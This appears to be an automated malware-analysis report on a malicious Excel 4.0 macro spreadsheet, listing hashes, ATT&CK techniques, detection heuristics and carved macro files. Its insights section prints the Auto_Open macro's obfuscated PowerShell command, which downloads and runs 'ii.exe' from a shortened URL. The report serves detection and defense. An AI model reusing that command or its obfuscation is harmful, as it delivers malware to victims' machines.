Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 7eafcf4386fe4ad8…

MALICIOUS

Office (OLE) / .XLS

87.5 KB Created: 2020-10-25 18:24:14 Authoring application: Microsoft Excel
MD5: 2c37e2b780112b33d40af28f91291e09 SHA-1: 64e318f3c5624ea18ea2af7d3588dc4998627721 SHA-256: 7eafcf4386fe4ad80dad0f31999fb50ed30b5d2e662277b57754083f2d0e76fd
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.002 Spearphishing Attachment

The sample is an Excel 4.0 macro-enabled spreadsheet that contains an Auto_Open macro. This macro executes a PowerShell command that downloads a file named 'ii.exe' from the URL https://tinyurl.com/y6m5spjf and then executes it. The XLM macro explicitly constructs the command: 'c' & 'md' & ' /c' & ' powershell' & ' -w 1 (nEw-oB`jecT Net.WebcL`IENt).(\'Down\'+\'loadFile\').In' & 'v' & 'oke(\'https://tinyurl.com/y6m5spjf\',\'ii.exe\')'. This indicates the intent is to download and execute a second-stage payload.

Heuristics 4

  • ClamAV: Xls.Malware.Abracadabra-10031695-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Abracadabra-10031695-0
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
f3eac7d7dc642ae8c99a4e36ee8d62f28077e137ee995510e98cf7613c6ddf19
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1917 bytes
macros.bas
953bf125fb95a97d67f1dfae6bad54545952dd76d888d2a1cbcc94e4187e5630
vba-macro oletools.olevba.extract_macros (decoded VBA source) 1065 bytes